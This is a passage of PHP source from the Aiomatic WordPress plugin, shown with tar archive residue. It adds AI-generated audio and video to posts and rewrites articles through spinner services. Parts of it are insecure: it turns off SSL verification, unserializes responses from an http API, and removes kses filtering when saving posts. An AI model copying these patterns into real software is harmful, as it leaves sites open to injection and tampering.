                                                        $query = new Aiomatic_Query($message, 0, 'google', '0', '', 'text-to-speech', 'text-to-speech', trim($aiomatic_Main_Settings['google_app_id']), $session, 1, '', '');
                                                        $result = aiomatic_google_stream($voice, $voice_language, $audio_profile, $voice_speed, $voice_pitch, $message);
                                                        if(is_array($result))
                                                        {
                                                            if(isset($result['status']) && $result['status'] == 'success')
                                                            {
                                                                apply_filters( 'aiomatic_ai_reply_text', $query, $message );
                                                                $decodedAudio = base64_decode($result['audio']);
                                                                $localfile = aiomatic_copy_audio_stream_locally($decodedAudio, 'audio_' . time() . '.mp3', $copy_it);
                                                                if($localfile === false)
                                                                {
                                                                    aiomatic_log_to_file('Failed to save audio file locally to your server.');
                                                                }
                                                                else
                                                                {
                                                                    $retpath = $localfile[0];
                                                                    $prep_txt = '';
                                                                    if (isset($aiomatic_Spinner_Settings['prep_audio']) && $aiomatic_Spinner_Settings['prep_audio'] != '')
                                                                    {
                                                                        $prep_txt = $aiomatic_Spinner_Settings['prep_audio'];
                                                                    }
                                                                    if (isset($aiomatic_Spinner_Settings['audio_location']) && $aiomatic_Spinner_Settings['audio_location'] == 'append') 
                                                                    {
                                                                        $final_content = $final_content . $prep_txt . ' <br/> [audio src="' . $retpath . '"]';
                                                                        $updated = true;
                                                                    }
                                                                    elseif (isset($aiomatic_Spinner_Settings['audio_location']) && $aiomatic_Spinner_Settings['audio_location'] == 'preppend')
                                                                    {
                                                                        $final_content = $prep_txt . '[audio src="' . $retpath . '"] <br/> ' . $final_content;
                                                                        $updated = true;
                                                                    }
                                                                }
                                                            }
                                                            else
                                                            {
                                                                aiomatic_log_to_file('Failed to generate Google Audio AI output: ' . print_r($result, true));
                                                            }
                                                        }
                                                        else
                                                        {
                                                            aiomatic_log_to_file('Failed to generate Google AI Audio output: ' . print_r($result, true));
                                                        }
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('You need to select a Google Text-to-Speech Voice Language for this feature to work.');
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('You need to select a Google Text-to-Speech Voice Name for this feature to work.');
                                        }
                                    }
                                }
                            }
                            elseif($aiomatic_Spinner_Settings['content_text_speech'] == 'did')
                            {
                                if(!isset($aiomatic_Spinner_Settings['text_to_audio']) || empty($aiomatic_Spinner_Settings['text_to_audio']))
                                {
                                    aiomatic_log_to_file('No text to send to text-to-video!');
                                }
                                else
                                {
                                    if (!isset($aiomatic_Main_Settings['did_app_id'])) 
                                    {
                                        $aiomatic_Main_Settings['did_app_id'] = '';
                                    }
                                    $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['did_app_id']));
                                    $appids = array_filter($appids);
                                    $token = $appids[array_rand($appids)];
                                    if (empty($token))
                                    {
                                        aiomatic_log_to_file('You need to enter an D-ID API key for this to work!');
                                    }
                                    else
                                    {
                                        if(isset($aiomatic_Spinner_Settings['did_image']) && $aiomatic_Spinner_Settings['did_image'] != '')
                                        {
                                            $did_image = $aiomatic_Spinner_Settings['did_image'];
                                        }
                                        else
                                        {
                                            $did_image = 'https://create-images-results.d-id.com/api_docs/assets/noelle.jpeg';
                                        }
                                        if(isset($aiomatic_Spinner_Settings['did_voice']) && $aiomatic_Spinner_Settings['did_voice'] != '')
                                        {
                                            $did_voice = $aiomatic_Spinner_Settings['did_voice'];
                                        }
                                        else
                                        {
                                            $did_voice = 'microsoft:en-US-JennyNeural:Cheerful';
                                        }
                                        $message = trim($aiomatic_Spinner_Settings['text_to_audio']);
                                        $message = aiomatic_replaceSynergyShortcodes($message);
                                        if(!empty($message))
                                        {
                                            $message = replaceAIPostShortcodes($message, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                            $session = aiomatic_get_session_id();
                                            $message = wp_strip_all_tags($message);
                                            if(!empty($message))
                                            {
                                                $query = new Aiomatic_Query($message, 0, 'd-id', '0', '', 'text-to-speech', 'text-to-speech', trim($aiomatic_Main_Settings['did_app_id']), $session, 1, '', '');
                                                $result = aiomatic_d_id_video($did_image, $message, $did_voice);
                                                if(is_array($result)){
                                                    if(isset($result['status']) && $result['status'] == 'success')
                                                    {
                                                        apply_filters( 'aiomatic_ai_reply_text', $query, $message );
                                                        $video_url = $result['video'];
                                                        $localfile = aiomatic_copy_video_locally($video_url, 'video_' . time(), $copy_it);
                                                        if($localfile === false)
                                                        {
                                                            aiomatic_log_to_file('Failed to save video file locally to your server.');
                                                        }
                                                        else
                                                        {
                                                            $retpath = $localfile[0];
                                                            $prep_txt = '';
                                                            if (isset($aiomatic_Spinner_Settings['prep_audio']) && $aiomatic_Spinner_Settings['prep_audio'] != '')
                                                            {
                                                                $prep_txt = $aiomatic_Spinner_Settings['prep_audio'];
                                                            }
                                                            if (isset($aiomatic_Spinner_Settings['audio_location']) && $aiomatic_Spinner_Settings['audio_location'] == 'append') 
                                                            {
                                                                $final_content = $final_content . $prep_txt . ' <br/> [video src="' . $retpath . '"]';
                                                                $updated = true;
                                                            }
                                                            elseif (isset($aiomatic_Spinner_Settings['audio_location']) && $aiomatic_Spinner_Settings['audio_location'] == 'preppend')
                                                            {
                                                                $final_content = $prep_txt . '[video src="' . $retpath . '"] <br/> ' . $final_content;
                                                                $updated = true;
                                                            }
                                                        }
                                                    }
                                                    else
                                                    {
                                                        aiomatic_log_to_file('D-ID AI video failed: ' . print_r($result, true));
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate D-ID AI video output: ' . print_r($result, true));
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                            if($updated == true)
                            {
                                $args = array();
                                $args['ID'] = $post->ID;
                                $args['post_content'] = $final_content;
                                if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                {
                                    $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                }
                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                remove_filter('title_save_pre', 'wp_filter_kses');
                                update_post_meta($post->ID, $custom_name, "pub");
                                $post_updated = wp_update_post($args);
                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                add_filter('title_save_pre', 'wp_filter_kses');
                                if (is_wp_error($post_updated)) {
                                    $errors = $post_updated->get_error_messages();
                                    foreach ($errors as $error) {
                                        aiomatic_log_to_file('Error occured while updating post for AI content "' . $post->post_title . '": ' . $error);
                                    }
                                }
                                else
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated audio/video content.');
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                        {
                            aiomatic_log_to_file('Finished editing post ID: ' . $pid);
                        }
                    }
                }
            }
            ?>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������aiomatic-spin-translate.php�������������������������������������������������������������������������0000644�����������������00000247703�14757771437�0012050 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
            defined('ABSPATH') or die();
            function aiomatic_spin_text($title, $content, $alt = false)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $titleSeparator         = '[19459000]';
                $text                   = $title . ' ' . $titleSeparator . ' ' . $content;
                $text                   = html_entity_decode($text);
                preg_match_all("/<[^<>]+>/is", $text, $matches, PREG_PATTERN_ORDER);
                $htmlfounds         = array_filter(array_unique($matches[0]));
                $htmlfounds[]       = '"';
                $imgFoundsSeparated = array();
                foreach ($htmlfounds as $key => $currentFound) {
                    if (stristr($currentFound, '<img') && stristr($currentFound, 'alt')) {
                        $altSeparator   = '';
                        $colonSeparator = '';
                        if (stristr($currentFound, 'alt="')) {
                            $altSeparator   = 'alt="';
                            $colonSeparator = '"';
                        } elseif (stristr($currentFound, 'alt = "')) {
                            $altSeparator   = 'alt = "';
                            $colonSeparator = '"';
                        } elseif (stristr($currentFound, 'alt ="')) {
                            $altSeparator   = 'alt ="';
                            $colonSeparator = '"';
                        } elseif (stristr($currentFound, 'alt= "')) {
                            $altSeparator   = 'alt= "';
                            $colonSeparator = '"';
                        } elseif (stristr($currentFound, 'alt=\'')) {
                            $altSeparator   = 'alt=\'';
                            $colonSeparator = '\'';
                        } elseif (stristr($currentFound, 'alt = \'')) {
                            $altSeparator   = 'alt = \'';
                            $colonSeparator = '\'';
                        } elseif (stristr($currentFound, 'alt= \'')) {
                            $altSeparator   = 'alt= \'';
                            $colonSeparator = '\'';
                        } elseif (stristr($currentFound, 'alt =\'')) {
                            $altSeparator   = 'alt =\'';
                            $colonSeparator = '\'';
                        }
                        if (trim($altSeparator) != '') {
                            $currentFoundParts = explode($altSeparator, $currentFound);
                            $preAlt            = $currentFoundParts[1];
                            $preAltParts       = explode($colonSeparator, $preAlt);
                            $altText           = $preAltParts[0];
                            if (trim($altText) != '') {
                                unset($preAltParts[0]);
                                $imgFoundsSeparated[] = $currentFoundParts[0] . $altSeparator;
                                $imgFoundsSeparated[] = $colonSeparator . implode('', $preAltParts);
                                $htmlfounds[$key]     = '';
                            }
                        }
                    }
                }
                if (count($imgFoundsSeparated) != 0) {
                    $htmlfounds = array_merge($htmlfounds, $imgFoundsSeparated);
                }
                preg_match_all("/<\!--.*?-->/is", $text, $matches2, PREG_PATTERN_ORDER);
                $newhtmlfounds = $matches2[0];
                preg_match_all("/\[.*?\]/is", $text, $matches3, PREG_PATTERN_ORDER);
                $shortcodesfounds = $matches3[0];
                $htmlfounds       = array_merge($htmlfounds, $newhtmlfounds, $shortcodesfounds);
                $in               = 0;
                $cleanHtmlFounds  = array();
                foreach ($htmlfounds as $htmlfound) {
                    if ($htmlfound == '[19459000]') {
                    } elseif (trim($htmlfound) == '') {
                    } else {
                        $cleanHtmlFounds[] = $htmlfound;
                    }
                }
                $htmlfounds = $cleanHtmlFounds;
                $start      = 19459001;
                foreach ($htmlfounds as $htmlfound) {
                    $text = str_replace($htmlfound, '[' . $start . ']', $text);
                    $start++;
                }
                try {
                    require_once(dirname(__FILE__) . "/res/aiomatic-text-spinner.php");
                    $phpTextSpinner = new PhpTextSpinner();
                    if ($alt === FALSE) {
                        $spinContent = $phpTextSpinner->spinContent($text);
                    } else {
                        $spinContent = $phpTextSpinner->spinContentAlt($text);
                    }
                    $translated = $phpTextSpinner->runTextSpinner($spinContent);
                }
                catch (Exception $e) {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('Exception thrown in spinText ' . $e);
                    }
                    return false;
                }
                preg_match_all('{\[.*?\]}', $translated, $brackets);
                $brackets = $brackets[0];
                $brackets = array_unique($brackets);
                foreach ($brackets as $bracket) {
                    if (stristr($bracket, '19')) {
                        $corrrect_bracket = str_replace(' ', '', $bracket);
                        $corrrect_bracket = str_replace('.', '', $corrrect_bracket);
                        $corrrect_bracket = str_replace(',', '', $corrrect_bracket);
                        $translated       = str_replace($bracket, $corrrect_bracket, $translated);
                    }
                }
                if (stristr($translated, $titleSeparator)) {
                    $start = 19459001;
                    foreach ($htmlfounds as $htmlfound) {
                        $translated = str_replace('[' . $start . ']', $htmlfound, $translated);
                        $start++;
                    }
                    $contents = explode($titleSeparator, $translated);
                    $title    = $contents[0];
                    $content  = $contents[1];
                } else {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('Failed to parse spinned content, separator not found');
                    }
                    return false;
                }
                return array(
                    $title,
                    $content
                );
            }
            
            
            function aiomatic_best_spin_text($title, $content)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (!isset($aiomatic_Main_Settings['best_user']) || $aiomatic_Main_Settings['best_user'] == '' || !isset($aiomatic_Main_Settings['best_password']) || $aiomatic_Main_Settings['best_password'] == '') {
                    aiomatic_log_to_file('Please insert a valid "The Best Spinner" user name and password.');
                    return FALSE;
                }
                $titleSeparator   = '[19459000]';
                $newhtml             = $title . ' ' . $titleSeparator . ' ' . $content;
                $url              = 'http://thebestspinner.com/api.php';
                $data             = array();
                $data['action']   = 'authenticate';
                $data['format']   = 'php';
                $data['username'] = $aiomatic_Main_Settings['best_user'];
                $data['password'] = $aiomatic_Main_Settings['best_password'];
                $ch               = curl_init();
                if ($ch === FALSE) {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('Failed to init curl!');
                    }
                    return FALSE;
                }
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                {
                    $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                }
                else
                {
                    $ztime = 300;
                }
                curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_POST, true);
                $fdata = "";
                foreach ($data as $key => $val) {
                    $fdata .= "$key=" . urlencode($val) . "&";
                }
                curl_setopt($ch, CURLOPT_POSTFIELDS, $fdata);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_REFERER, $url);
                $html = curl_exec($ch);
                curl_close($ch);
                if ($html === FALSE) {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('"The Best Spinner" failed to exec curl.');
                    }
                    return FALSE;
                }
                $output = unserialize($html);
                if ($output['success'] == 'true') {
                    $session                = $output['session'];
                    $data                   = array();
                    $data['session']        = $session;
                    $data['format']         = 'php';
                    $data['protectedterms'] = '';
                    $data['action']         = 'replaceEveryonesFavorites';
                    $data['maxsyns']        = '100';
                    $data['quality']        = '1';
                    $ch = curl_init();
                    if ($ch === FALSE) {
                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                            aiomatic_log_to_file('Failed to init curl');
                        }
                        return FALSE;
                    }
                    $newhtml = html_entity_decode($newhtml);
                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                    if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                    {
                        $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                    }
                    else
                    {
                        $ztime = 300;
                    }
                    curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                    curl_setopt($ch, CURLOPT_URL, $url);
                    curl_setopt($ch, CURLOPT_POST, true);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_REFERER, $url);
                    $spinned = '';
                    if(str_word_count($newhtml) > 4000)
                    {
                        while($newhtml != '')
                        {
                            $first30k = substr($newhtml, 0, 30000);
                            $first30k = rtrim($first30k, '(*');
                            $first30k = ltrim($first30k, ')*');
                            $newhtml = substr($newhtml, 30000);
                            $data['text']           = $first30k;
                            $fdata = "";
                            foreach ($data as $key => $val) {
                                $fdata .= "$key=" . urlencode($val) . "&";
                            }
                            curl_setopt($ch, CURLOPT_POSTFIELDS, $fdata);
                            $output = curl_exec($ch);
                            if ($output === FALSE) {
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('"The Best Spinner" failed to exec curl after auth.');
                                }
                                return FALSE;
                            }
                            $output = unserialize($output);
                            if ($output['success'] == 'true') {
                                $spinned .= ' ' . $output['output'];
                            } else {
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('"The Best Spinner" failed to spin article.');
                                }
                                return FALSE;
                            }
                        }
                    }
                    else
                    {
                        $data['text'] = $newhtml;
                        $fdata = "";
                        foreach ($data as $key => $val) {
                            $fdata .= "$key=" . urlencode($val) . "&";
                        }
                        curl_setopt($ch, CURLOPT_POSTFIELDS, $fdata);
                        $output = curl_exec($ch);
                        if ($output === FALSE) {
                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                aiomatic_log_to_file('"The Best Spinner" failed to exec curl after auth.');
                            }
                            return FALSE;
                        }
                        $output = unserialize($output);
                        if ($output['success'] == 'true') {
                            $spinned = $output['output'];
                        } else {
                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                aiomatic_log_to_file('"The Best Spinner" failed to spin article: ' . print_r($output, true));
                            }
                            return FALSE;
                        }
                    }
                    curl_close($ch);
                    $result = explode($titleSeparator, $spinned);
                    if (count($result) < 2) {
                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                            aiomatic_log_to_file('"The Best Spinner" failed to spin article - titleseparator not found.' . print_r($output, true));
                        }
                        return FALSE;
                    }
                    $spintax = new AIomatic_Spintax();
                    $result[0] = $spintax->Parse($result[0]);
                    $result[1] = $spintax->Parse($result[1]);
                    return $result;
            
                } else {
                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                        aiomatic_log_to_file('"The Best Spinner" authentification failed. ' . $html);
                    }
                    return FALSE;
                }
            }
            class AIomatic_Spintax {
                static $countBlocks = 0;
                static $blocks = [];
                public static function Parse($text, $count = [])
                {
                    if (strpos($text, '#block#') !== false) {
                        $text = stripslashes(preg_replace_callback('|#block#(.*?)#/block#|si', ['Aiomatic_Spintax', 'replaceBlock'], $text));
                        $newBlocks = self::$blocks;
                        shuffle($newBlocks);
                        $count_from = $count_to = 0;
                        if (!empty($count)) {
                            $count_from = (int) $count[0] > 0 ? (int) $count[0] : 1;
                            $count_to = ((int) $count[1] == 0 || (int) $count[1] > count($newBlocks)) ? count($newBlocks) : (int) $count[1];
                        }
                        $cntBlocks = rand($count_from, $count_to);
                        $cntBlocks = ($cntBlocks == 0 || $cntBlocks > count($newBlocks)) ? count($newBlocks) : $cntBlocks;
                        for ($i = 0; $i < $cntBlocks; $i++) {
                            $p = implode("</p><p>", $newBlocks[$i]);
                            $p = str_replace('<br />', '', $p);
                            $p = '<p>' . $p . '</p>';
                            $text = str_replace('{#block' . ($i + 1) . '#}', $p, $text);
                        }
                        $text = stripslashes(preg_replace('|{#block.*?#}|si', '', $text));
                        self::$countBlocks = 0;
                        self::$blocks = array();
                    }
                    $text = str_replace('</p><br />', '</p>', $text);
                    $final = preg_replace('#(<br \/>\n*)+$#', '', self::process($text));
                    return $final;
                }
                public static function replaceBlock($text)
                {
                    if (!empty($text[1])) {
                        preg_match_all('|#p#(.*?)#/p#|si', $text[1], $matches);
                        if (!empty($matches[1])) {
                            $p = $matches[1];
                            shuffle($p);
                            foreach ($p AS $key => $val) {
                                if (empty($val)) continue;
                                $test = explode('#s#', $val);
                                $index = array_rand($test, 1);
                                $test = $test[$index];
                                $test = explode("\n", $test);
                                shuffle($test);
                                $text = implode("</p><p>", $test);
                                $text = '<p>'. $text . '</p>';
                                self::$blocks[self::$countBlocks][] = $text;
                            }
                        } else {
                            self::$blocks[self::$countBlocks][] = trim($text[1]);
                        }
                    }
                    self::$countBlocks++;
                    return '{#block' . self::$countBlocks . '#}';
                }
                public static function process($text)
                {
                    $pattern = '/\{(((?>[^\{\}]+)|(?R))*)\}/x';
                    return preg_replace_callback($pattern, ['Aiomatic_Spintax', 'replace'], $text);
                }
                public static function replace($text)
                {
                    $text = self::process($text[1]);
                    $parts = explode('|', $text);
                    return $parts[array_rand($parts)];
                }
            }
            function aiomatic_replaceExcludes($text, &$htmlfounds, &$pre_tags_matches, &$pre_tags_matches_s, &$conseqMatchs)
            {
                preg_match_all ( '{<script.*?script>}s', $text, $script_matchs );
                $script_matchs = $script_matchs [0];
                preg_match_all ( '{<pre.*?/pre>}s', $text, $pre_matchs );
                $pre_matchs = $pre_matchs [0];
                preg_match_all ( '{<code.*?/code>}s', $text, $code_matchs );
                $code_matchs = $code_matchs [0];
                preg_match_all ( "/<[^<>]+>/is", $text, $matches, PREG_PATTERN_ORDER );
                $htmlfounds = array_filter ( array_unique ( $matches [0] ) );
                $htmlfounds = array_merge ( $script_matchs, $pre_matchs, $code_matchs, $htmlfounds );
                $htmlfounds [] = '"';
                $imgFoundsSeparated = array ();
                $new_imgFoundsSeparated = array ();
                $altSeparator = '';
                $colonSeparator = '';
                foreach ( $htmlfounds as $key => $currentFound ) 
                {
                    if (stristr ( $currentFound, '<img' ) && stristr ( $currentFound, 'alt' ) && ! stristr ( $currentFound, 'alt=""' )) 
                    {
                        $altSeparator = '';
                        $colonSeparator = '';
                        if (stristr ( $currentFound, 'alt="' )) {
                            $altSeparator = 'alt="';
                            $colonSeparator = '"';
                        } elseif (stristr ( $currentFound, 'alt = "' )) {
                            $altSeparator = 'alt = "';
                            $colonSeparator = '"';
                        } elseif (stristr ( $currentFound, 'alt ="' )) {
                            $altSeparator = 'alt ="';
                            $colonSeparator = '"';
                        } elseif (stristr ( $currentFound, 'alt= "' )) {
                            $altSeparator = 'alt= "';
                            $colonSeparator = '"';
                        } elseif (stristr ( $currentFound, 'alt=\'' )) {
                            $altSeparator = 'alt=\'';
                            $colonSeparator = '\'';
                        } elseif (stristr ( $currentFound, 'alt = \'' )) {
                            $altSeparator = 'alt = \'';
                            $colonSeparator = '\'';
                        } elseif (stristr ( $currentFound, 'alt= \'' )) {
                            $altSeparator = 'alt= \'';
                            $colonSeparator = '\'';
                        } elseif (stristr ( $currentFound, 'alt =\'' )) {
                            $altSeparator = 'alt =\'';
                            $colonSeparator = '\'';
                        }
                        if (trim ( $altSeparator ) != '') 
                        {
                            $currentFoundParts = explode ( $altSeparator, $currentFound );
                            $preAlt = $currentFoundParts [1];
                            $preAltParts = explode ( $colonSeparator, $preAlt );
                            $altText = $preAltParts [0];
                            if (trim ( $altText ) != '') 
                            {
                                unset ( $preAltParts [0] );
                                $past_alt_text = implode ( $colonSeparator, $preAltParts );
                                $imgFoundsSeparated [] = $currentFoundParts [0] . $altSeparator;
                                $imgFoundsSeparated [] = $colonSeparator . $past_alt_text;
                                $htmlfounds [$key] = '';
                            }
                        }
                    }
                }
                $title_separator = str_replace ( 'alt', 'title', $altSeparator );
                if($title_separator == '')
                {
                    $title_separator = 'title';
                }
                if($colonSeparator != '')
                {
                    foreach ( $imgFoundsSeparated as $img_part ) 
                    {
                        if (stristr ( $img_part, ' title' )) 
                        {
                            $img_part_parts = explode ( $title_separator, $img_part );
                            $pre_title_part = $img_part_parts [0] . $title_separator;
                            $post_title_parts = explode ( $colonSeparator, $img_part_parts [1] );
                            $found_title = $post_title_parts [0];
                            unset ( $post_title_parts [0] );
                            $past_title_text = implode ( $colonSeparator, $post_title_parts );
                            $post_title_part = $colonSeparator . $past_title_text;
                            $new_imgFoundsSeparated [] = $pre_title_part;
                            $new_imgFoundsSeparated [] = $post_title_part;
                        } else {
                            $new_imgFoundsSeparated [] = $img_part;
                        }
                    }
                }
                if (count ( $new_imgFoundsSeparated ) != 0) {
                    $htmlfounds = array_merge ( $htmlfounds, $new_imgFoundsSeparated );
                }
                preg_match_all ( "/<\!--.*?-->/is", $text, $matches2, PREG_PATTERN_ORDER );
                $newhtmlfounds = $matches2 [0];
                preg_match_all ( "/\[.*?\]/is", $text, $matches3, PREG_PATTERN_ORDER );
                $shortcodesfounds = $matches3 [0];
                $htmlfounds = array_merge ( $htmlfounds, $newhtmlfounds, $shortcodesfounds );
                $in = 0;
                $cleanHtmlFounds = array ();
                foreach ( $htmlfounds as $htmlfound ) {
                    
                    if ($htmlfound == '[19459000]') {
                    } elseif (trim ( $htmlfound ) == '') {
                    } else {
                        $cleanHtmlFounds [] = $htmlfound;
                    }
                }
                $htmlfounds = array_filter ( $cleanHtmlFounds );
                $start = 19459001;
                foreach ( $htmlfounds as $htmlfound ) {
                    $text = str_replace ( $htmlfound, '[' . $start . ']', $text );
                    $start ++;
                }
                $text = str_replace ( '.{', '. {', $text );
                preg_match_all ( '!(?:\[1945\d*\][\s]*){2,}!s', $text, $conseqMatchs );
                $startConseq = 19659001;
                foreach ( $conseqMatchs [0] as $conseqMatch ) {
                    $text = preg_replace ( '{' . preg_quote ( trim ( $conseqMatch ) ) . '}', '[' . $startConseq . ']', $text, 1 );
                    $startConseq ++;
                }
                preg_match_all ( '{\[.*?\]}', $text, $pre_tags_matches );
                $pre_tags_matches = ($pre_tags_matches [0]);
                preg_match_all ( '{\s*\[.*?\]\s*}u', $text, $pre_tags_matches_s );
                $pre_tags_matches_s = ($pre_tags_matches_s [0]);
                $text = str_replace ( '[', "\n\n[", $text );
                $text = str_replace ( ']', "]\n\n", $text );
            	return $text;	
            }
            function aiomatic_countExcludes($translated)
            {
                preg_match_all ( '{\[.*?\]}', $translated, $bracket_matchs );
                $bracket_matchs = $bracket_matchs[0];
                return count($bracket_matchs);
            }
            function aiomatic_restoreExcludes($translated, $htmlfounds, $pre_tags_matches, $pre_tags_matches_s, $conseqMatchs){
                $translated = preg_replace ( '{]\s*?1945}', '][1945', $translated );
                $translated = preg_replace ( '{ 19459(\d*?)]}', ' [19459$1]', $translated );
                $translated = str_replace ( '[ [1945', '[1945', $translated );
                $translated = str_replace ( '], ', ']', $translated );
                preg_match_all ( '{\[.*?\]}', $translated, $bracket_matchs );
                $bracket_matchs = $bracket_matchs [0];
                foreach ( $bracket_matchs as $single_bracket ) 
                {
                    if (stristr ( $single_bracket, '1' ) && stristr ( $single_bracket, '9' )) {
                        $single_bracket_clean = str_replace ( array (
                                ',',
                                ' ' 
                        ), '', $single_bracket );
                        $translated = str_replace ( $single_bracket, $single_bracket_clean, $translated );
                    }
                }
                preg_match_all ( '{\[\d*?\]}', $translated, $post_tags_matches );
                $post_tags_matches = ($post_tags_matches [0]);
                if (count ( $pre_tags_matches ) == count ( $post_tags_matches )) 
                {
                    if ($pre_tags_matches !== $post_tags_matches) 
                    {
                        $i = 0;
                        foreach ( $post_tags_matches as $post_tags_match ) {
                            $translated = preg_replace ( '{' . preg_quote ( trim ( $post_tags_match ) ) . '}', '[' . $i . ']', $translated, 1 );
                            $i ++;
                        }
                        $i = 0;
                        foreach ( $pre_tags_matches as $pre_tags_match ) {
                            $translated = str_replace ( '[' . $i . ']', $pre_tags_match, $translated );
                            $i ++;
                        }
                    }
                }
                $translated = str_replace ( "\n\n[", '[', $translated );
                $translated = str_replace ( "]\n\n", ']', $translated );
                $i = 0;
                foreach ( $pre_tags_matches_s as $pre_tags_match ) 
                {
                    $pre_tags_match_h = htmlentities ( $pre_tags_match );
                    if (stristr ( $pre_tags_match_h, ' ' )) {
                        $pre_tags_match = str_replace ( ' ', ' ', $pre_tags_match_h );
                    }
                    $translated = preg_replace ( '{' . preg_quote ( trim ( $pre_tags_match ) ) . '}', "[$i]", $translated, 1 );
                    $i ++;
                }
                $translated = preg_replace ( '{\s*\[}u', '[', $translated );
                $translated = preg_replace ( '{\]\s*}u', ']', $translated );
                $i = 0;
                foreach ( $pre_tags_matches_s as $pre_tags_match ) 
                {
                    $pre_tags_match_h = htmlentities ( $pre_tags_match );
                    if (stristr ( $pre_tags_match_h, ' ' )) {
                        $pre_tags_match = str_replace ( ' ', ' ', $pre_tags_match_h );
                    }
                    $translated = preg_replace ( '{' . preg_quote ( "[$i]" ) . '}', $pre_tags_match, $translated, 1 );
                    $i ++;
                }
                $startConseq = 19659001;
                foreach ( $conseqMatchs [0] as $conseqMatch ) {
                    $translated = str_replace ( '[' . $startConseq . ']', $conseqMatch, $translated );
                    $startConseq ++;
                }
                preg_match_all ( '!\[.*?\]!', $translated, $brackets );
                $brackets = $brackets [0];
                $brackets = array_unique ( $brackets );
                foreach ( $brackets as $bracket ) {
                    if (stristr ( $bracket, '19' )) 
                    {
                        $corrrect_bracket = str_replace ( ' ', '', $bracket );
                        $corrrect_bracket = str_replace ( '.', '', $corrrect_bracket );
                        $corrrect_bracket = str_replace ( ',', '', $corrrect_bracket );
                        $translated = str_replace ( $bracket, $corrrect_bracket, $translated );
                    }
                }
                $start = 19459001;
                foreach ( $htmlfounds as $htmlfound ) {
                    $translated = str_replace ( '[' . $start . ']', $htmlfound, $translated );
                    $start ++;
                }
                return $translated;
            }
            function aiomatic_replaceAIExecludes($article, &$htmlfounds, $opt = false, $dymmy_char = '-')
            {
                $htmlurls = array();$article = preg_replace('{data-image-description="(?:[^\"]*?)"}i', '', $article);
            	if($opt === true){
            		preg_match_all( "/<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*?)<\/a>/s" ,$article,$matches,PREG_PATTERN_ORDER);
            		$htmlurls=$matches[0];
            	}
            	$urls_txt = array();
            	if($opt === true){
            		preg_match_all('/https?:\/\/[^<\s]+/', $article,$matches_urls_txt);
            		$urls_txt = $matches_urls_txt[0];
            	}
            	preg_match_all("/<[^<>]+>/is",$article,$matches,PREG_PATTERN_ORDER);
            	$htmlfounds=$matches[0];
            	preg_match_all('{\[nospin\].*?\[/nospin\]}s', $article,$matches_ns);
            	$nospin = $matches_ns[0];
            	//$pattern="\[.*?\]";
            	//preg_match_all("/".$pattern."/s",$article,$matches2,PREG_PATTERN_ORDER);
            	//$shortcodes=$matches2[0];
                $shortcodes=array();
            	preg_match_all("/<script.*?<\/script>/is",$article,$matches3,PREG_PATTERN_ORDER);
            	$js=$matches3[0];
            	preg_match_all('/\d{2,}/s', $article,$matches_nums);
            	$nospin_nums = $matches_nums[0];
